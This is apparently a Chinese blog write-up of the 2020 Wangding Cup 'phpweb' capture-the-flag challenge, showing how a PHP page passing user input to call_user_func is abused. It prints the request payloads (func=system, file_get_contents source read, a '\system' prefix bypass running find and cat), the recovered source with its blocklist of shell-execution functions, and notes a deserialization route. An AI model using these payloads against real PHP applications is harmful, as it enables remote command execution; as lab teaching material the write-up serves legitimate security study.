[网鼎杯 2020 朱雀组]phpweb 1

文章目录


  1. 打开网页显示为:
    在这里插入图片描述
    网页提示了我们一些内容,也不知道怎么弄,网页源码也没有提示,那就抓包,或许有奇迹呢?

  2. 抓包数据:

    POST /index.php HTTP/1.1
    Host: ee51716b-b9df-432e-bbeb-1ddd01f902cb.node4.buuoj.cn:81
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    Origin: http://ee51716b-b9df-432e-bbeb-1ddd01f902cb.node4.buuoj.cn:81
    DNT: 1
    Connection: close
    Referer: http://ee51716b-b9df-432e-bbeb-1ddd01f902cb.node4.buuoj.cn:81/index.php
    Upgrade-Insecure-Requests: 1
    
    func=date&p=Y-m-d+h%3Ai%3As+a  
    

    最后一行提交的数据,和网页给我们的提示具有一定的关系,莫非是我们自定义函数进行提交,然后后端执行我们提交的函数?

  3. 进行注入:func=system&p=ls
    在这里插入图片描述

    失败了,莫非有过滤吗?但是想想这种敏感函数被禁了也正常,换一个 MD5 执行一下

    在这里插入图片描述

    这里成功了,说明猜想正确,这个后面确实存在过滤

  4. 我们不知道它到底过滤了哪些内容,我们需要对其源代码进行获取,对 PHP 内置函数进行查找,可以获取文件的函数 — file_get_contents 读取整个文件内容
    在这里插入图片描述

    获取到了文件的内容,也获知了过滤了那些内容,然后我们就可以开始干活了
    对其中一些函数的功能进行了了解 (下面两个函数在一起执行的时候有奇效 常见的一些函数

    <?php
        $disable_fun = array("exec",  # 执行一个外部程序
                        "shell_exec", # 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
                        "system", # 执行外部程序,并且显示输出
                        "passthru", # 执行外部程序并且显示原始输出
                        "proc_open", # 执行一个命令,并且打开用来输入/输出的文件指针。
                        "proc_terminate",  # 杀除由 proc_open 打开的进程
                        "show_source", # 语法高亮一个文件
                        "phpinfo",  # 
                        "popen", #  打开进程文件指针
                        "dl", # 运行时载入一个 PHP 扩展
                        "eval",  # 把字符串作为PHP代码执行
                        "touch",  # 设定文件的访问和修改时间
                        /**
                         * 下面这两个函数混合在一起在特定的版本下会有奇效
                         * 见上方链接
                         */
                        "escapeshellcmd",  # shell 元字符转义
                        "escapeshellarg",  # 把字符串转码为可以在 shell 命令里使用的参数  
                        "assert",  # 检查一个断言是否为 false
                        "substr_replace",  # 替换字符串的子串
                        "call_user_func_array",  # 调用回调函数,并把一个数组参数作为回调函数的参数
                        "call_user_func",  # 把第一个参数作为回调函数调用
                        "array_filter",   # 使用回调函数过滤数组的元素
                        "array_walk",   # 使用用户自定义函数对数组中的每个元素做回调处理
                        "array_map",  # 为数组的每个元素应用回调函数
                        "registregister_shutdown_function",
                        "register_tick_function",  # 注册一个函数以便在每个 tick 上执行
                        "filter_var",   #  使用特定的过滤器过滤一个变量
                        "filter_var_array",  #  获取多个变量并且过滤它们
                        "uasort",  # 使用用户自定义的比较函数,保持索引和值的对应关系,原地排序 array。
                        "uksort",  # 使用用户自定义的比较函数对数组中的键名进行排序
                        "array_reduce",  # 用回调函数迭代地将数组简化为单一的值
                        "array_walk",  # 使用用户自定义函数对数组中的每个元素做回调处理
                        "array_walk_recursive",  # 对数组中的每个成员递归地应用用户函数
                        "pcntl_exec",  # 在当前进程空间执行指定程序
                        "fopen",   # 打开文件或者 URL
                        "fwrite", # 写入文件(可安全用于二进制文件)
                        "file_put_contents");  # 将一个字符串写入文件
        function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
                return $result;
            } else {return "";}
        }
        class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
        }
        $func = $_REQUEST["func"];
        $p = $_REQUEST["p"];
    
        if ($func != null) {
            $func = strtolower($func);  # 转换为小写
            if (!in_array($func,$disable_fun)) { # 筛选
                echo gettime($func, $p);
            }else {
                die("Hacker...");
            }
        }
    ?>
    
  5. 现在我们知道了过滤的函数类别,现在需要对其进行绕过,
    在这里插入图片描述

    很明显这里面没有我们想要的数据,接下来我们需要使用到一些 Linux 的命令,在 Linux 中存在一个在所有目录中寻找指定文件的命令
    func=\system&p=find / -name flag*

    在这里插入图片描述

    然后使用 cat 命令函数进行执行即可
    在这里插入图片描述

  6. 这道题还有一种解法是使用 php反序列化 (这个我明天应该会写一个总结)

    我们可以看到在源码中是存在一个类的,其次在进行过滤的时候我们发现它只分辨 func 参数而 p 参数的内容完全不管,再加上 Test 类中也是会执行 gettime() 函数的,所以我们可以不可以使用 PHP 反序列化漏洞进行注入呢?

    在这里插入图片描述
    剩下的步骤照上面就好了

总结

  1. 我们在进行测试的时候要大胆的猜测后端的功能
  2. 在进行测试漏洞的时候我们需要有多方面的知识的综合,我们应该掌握各方面的知识或者掌握百度
  3. 对于代码的执行以及存在的函数、漏洞保持敏感
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值